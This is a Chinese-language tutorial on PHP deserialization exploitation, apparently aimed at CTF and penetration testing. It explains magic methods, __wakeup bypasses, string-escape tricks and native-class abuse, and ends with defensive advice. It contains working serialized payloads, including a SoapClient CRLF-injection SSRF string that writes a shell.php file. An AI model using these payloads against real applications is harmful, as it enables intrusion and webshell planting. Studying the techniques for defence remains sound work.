PHP反序列化进阶:POP链构造与高级利用技术
魔术方法详解
PHP反序列化攻击的核心在于利用魔术方法,以下是关键魔术方法及其触发条件:
- __invoke(): 当尝试以调用函数的方式调用对象时触发,如
$a() - __construct(): 类创建新对象时回调,
new a()时触发(注意:unserialize()时不自动调用) - __destruct(): 对象销毁或反序列化时调用,通常作为攻击链的入口点
- __wakeup():
unserialize()时自动调用 - __sleep():
serialize()前调用 - __toString(): 类被当作字符串使用时触发(如
echo $obj、strtolower($obj)等) - __set(): 给不可访问或不存在的属性赋值时调用
- __get(): 读取不可访问或不存在的属性时调用
- __call(): 调用对象中不可访问的方法时执行
- __isset(): 对不可访问属性调用
isset()或empty()时触发 - __unset(): 对不可访问属性调用
unset()时触发
__wakeup()绕过技术
CVE-2016-7124漏洞利用
影响版本:
- PHP5 < 5.6.25
- PHP7 < 7.0.10
绕过原理:
当对象属性数量大于实际数量时,__wakeup()不会触发
示例:
class ctf {
public $h1;
public $h2;
public function __wakeup() { echo "wakeup<br>"; }
public function __destruct() { echo "destruct<br>"; }
}
正常payload:
?ctf=O:3:"ctf":2:{s:2:"h1";N;s:2:"h2";N;}
绕过payload(修改属性数量):
?ctf=O:3:"ctf":3:{s:2:"h1";N;s:2:"h2";N;}
PHP引用赋值绕过
利用PHP的引用赋值特性&可以修改关键属性:
class ctf {
public $key;
public function __destruct() {
$this->key = False;
if(!isset($this->wakeup) || !$this->wakeup) {
echo "You get it!";
}
}
public function __wakeup() {
$this->wakeup = True;
}
}
利用方法:
将$this->wakeup和$this->key引用关联:
$a = new ctf();
$a->key = &$a->wakeup;
echo serialize($a);
// 输出: O:3:"ctf":2:{s:3:"key";N;s:6:"wakeup";R:2;}
PHP GC回收机制利用
基本原理
- PHP通过引用计数和回收周期管理内存
- 当变量被设置为NULL或没有指针指向时,会变成垃圾等待回收
- 对象被回收时会调用
__destruct()
利用场景
- 异常处理触发析构:
a:2:{s:1:"a";O:1:"B":0:{}s:1:"a";N;}
通过重复键名使前一个对象被销毁
- fast destruct技术:
- 在unserialize过程中如果格式有误会提前触发析构
- 方法:破坏字符串格式(如去掉最后的大括号)
PHP issue#9618绕过
在特定PHP版本(7.4.x-7.4.30, 8.0.x)中,可以通过构造错误的变量名长度使反序列化在__wakeup之前调用__destruct
字符串逃逸技术
字符增多型逃逸
当过滤函数使字符增多时,可以利用长度计算差异构造payload:
示例:
原始序列化:
O:1:"A":2:{s:5:"test1";s:6:"xxx123";s:5:"test2";s:5:"admin";}
被替换后:
O:1:"A":2:{s:5:"test1";s:61:"O:1:"A":2:{s:5:"test1";s:6:"yyyyyy123";s:5:"test2";s:5:"admin";}";s:5:"test2";s:6:"hacker";}
构造payload使123"后的内容逃逸:
xxxxxxxxxxxxxxxxxxxxxxxxxxx";s:5:"test2";s:5:"admin";}
字符减少型逃逸
当过滤使字符减少时,需要计算吸收的字符量:
目标:
O:1:"A":3:{s:5:"test1";s:4:"xxxx";s:5:"test2";s:3:"123";s:5:"test3";s:5:"admin";}
需要吸收:
";s:5:"test2";s:49:" (20位)
原生类利用
C开头原生类
可用于绕过/^[Oa]:[/d]+/过滤:
C:11:"ArrayObject":60:{x:i:0;O:7:"ctfshow":1:{s:7:"ctfshow";s:6:"whoami";};m:a:0:{}}
文件操作类
-
遍历目录:
DirectoryIteratorFilesystemIteratorGlobIterator
(注意:这些类不能反序列化)
-
读取文件:
SplFileObject
XSS利用
使用Error和Exception原生类进行XSS攻击
SSRF利用
利用SoapClient的__call方法进行SSRF:
条件:
- 启用soap扩展
- 调用不存在的方法触发
__call() - 仅限于http/https协议
CRLF攻击示例:
O:10:"SoapClient":5:{
s:3:"uri";s:4:"aaab";
s:8:"location";s:25:"http://127.0.0.1/flag.php";
s:15:"_stream_context";i:0;
s:11:"_user_agent";s:178:"aaa%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aX-Forwarded-For: 127.0.0.1%0d%0aCookie: aaaa=ssss%0d%0aContent-Length: 55%0d%0a%0d%0aa=file_put_contents("shell.php", "<?php phpinfo();?>");";
s:13:"_soap_version";i:1;
}
其他特性
-
十六进制表示法:
使用S表示十六进制字符串,如s:5:"test"可写为S:5:"\74\65\73\74" -
类名大小写不敏感:
PHP反序列化时类名不区分大小写 -
类内方法调用:
- 静态调用:
ClassName::method() - 动态调用:
$obj->method()
- 静态调用:
防御建议
- 避免反序列化用户输入
- 及时更新PHP版本修复已知漏洞
- 对序列化数据进行签名验证
- 使用
allowed_classes限制可反序列化的类 - 对魔术方法进行安全审计
以上技术可组合使用构造复杂的POP链,在实际渗透测试中需要根据目标环境灵活应用。